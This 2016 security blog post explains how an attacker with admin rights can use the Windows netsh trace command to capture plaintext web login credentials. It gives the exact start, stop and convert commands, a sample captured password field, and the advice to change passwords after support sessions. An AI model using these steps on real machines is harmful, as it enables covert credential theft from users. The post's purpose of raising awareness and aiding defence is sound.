netsh – The Cyber Attacker's Tool of Choice

3 February 2016

For IT pros the Windows built-in command netsh is one of the tools of choice for troubleshooting network issues.

For a cyber attacker netsh is the tool of choice once he managed to get access to the company network. 'netsh trace' may be used to record every key stroke a user sends e.g. to the login dialog of web application or a banking application in plain text.

Using netsh trace is disturbingly easy:

[1] Start the recording session for programs connecting to internet services

netsh trace start scenario=InternetClient capture=yes tracefile=NetTrace-ICP.etl level=4

[2] Wait for the user to connect to a service …

[3] Stop the recording session

netsh trace stop

[4] Convert the trace file into readable format

netsh trace convert input=NetTrace-ICP.etl output=NetTrace-ICP.etl.xml dump=XML

[5] Open the file with notepad and search for the user name donot.like@get.phished:

```
<EventData>
<Data Name="RequestHandle">0xCC000C</Data>
<Data Name="Length">502</Data>
<Data Name="Headers">loginfmt=donot.like%40get.phished&amp;passwd=-Plain-Text-Here-&am
</EventData>
```

Thus netsh trace can replace key loggers or tools like Mimikatz or Lazagne. Since the attacker must not reload utilities from the C&C server the likelihood of detection decreases.

TECHNOLOGY AND MORE

4 Elementary IT Security Design Principles
Microsoft AppLocker in der Automatisierungstechnik

ENDNOTES

SRM Blog Information Security Breach Reports
[1] Frequently Asked Questions on eBay Password Change
[2] Ponemon Institute, Cost of Cyber Crime Study: United States 2013
[3] Hashed Passwords – Crack The Cred
[4] Important Information – Office Passwort Reset
[5] Reducing the Effectiveness of Pass-the-Hash

TAGS

administrative privileges anti-malware AppGuard Attack Surface critical infrastructure Cyber Attack data breach Endpoint Protection Malware Phishing Principle of least privilege Ransomware Remote Code Execution Vulnerability Separation of Duties strong passwords Two factor Authentication UAC Vulnerability WannaCry Zero day exploits

ARCHIVE

Fortunately the attacker must run netsh trace in administrative context, but since many users always work in admin context this is not a real hurdle.

Apart from cyber attacks users should be concerned about privacy issues. If a support technician starts netsh in a remote troubleshooting session the likelihood is high that he may see your password or PIN. To prevent trouble users should always change their passwords after netsh was used to solve network issues.

Take care!

Related

Why is the industry such vulnerable against WannaCry and NotPetya style attacks? Part II.
July 16, 2017
In "Opinion"

Isolated security measures make no sense!
November 26, 2014
In "Greetings"

Your Ransomware Strategy 2021: Prevention or Bow to the Inevitable?
January 1, 2021
In "Advice for SMEs"

This entry was posted in Fun, Survival tips and tagged administrative privileges, bypassuac, hacker tools, key logger, Mimikatz, netsh, netsh trace on February 3, 2016.

← Don't 'Enable Macro if Data Encoding is Incorrect'!

Is your help desk prepared for this type of malware? →

October 2021 (1)
September 2021 (1)
July 2021 (1)
June 2021 (1)
May 2021 (1)
April 2021 (1)
March 2021 (2)
January 2021 (3)
October 2020 (1)
August 2020 (2)
June 2020 (4)
May 2020 (4)
April 2020 (1)
March 2020 (3)
January 2020 (1)
December 2019 (1)
November 2019 (1)
October 2019 (1)
September 2019 (2)
August 2019 (3)
July 2019 (2)
June 2019 (1)
May 2019 (2)
April 2019 (1)
March 2019 (3)
February 2019 (1)
January 2019 (2)
December 2018 (1)
November 2018 (2)
October 2018 (2)
September 2018 (1)
August 2018 (2)
July 2018 (1)
June 2018 (3)
May 2018 (2)
April 2018 (3)
March 2018 (3)
February 2018 (3)
January 2018 (3)
December 2017 (1)
November 2017 (3)
October 2017 (6)
September 2017 (1)
August 2017 (1)
July 2017 (5)
June 2017 (2)
May 2017 (5)
April 2017 (4)
March 2017 (3)
February 2017 (3)
January 2017 (2)
December 2016 (2)
November 2016 (5)
October 2016 (8)
September 2016 (4)
August 2016 (4)
July 2016 (6)
June 2016 (4)
May 2016 (4)
April 2016 (5)
March 2016 (6)
February 2016 (9)

January 2016 (7)
December 2015 (2)
November 2015 (6)
October 2015 (4)
September 2015 (4)
August 2015 (5)
July 2015 (6)
June 2015 (6)
May 2015 (9)
April 2015 (8)
March 2015 (8)
February 2015 (8)
January 2015 (10)
December 2014 (4)
November 2014 (9)
October 2014 (9)
September 2014 (9)
August 2014 (10)
July 2014 (10)
June 2014 (5)

BLOGS I FOLLOW

EFRONA MOR - Writer & Author of Epic Fantasy
Jaya's Blog
Dopamine Writes 🖊️ 🖊️
TIME GENTS
Crowdbase Blog

SUBSCRIBE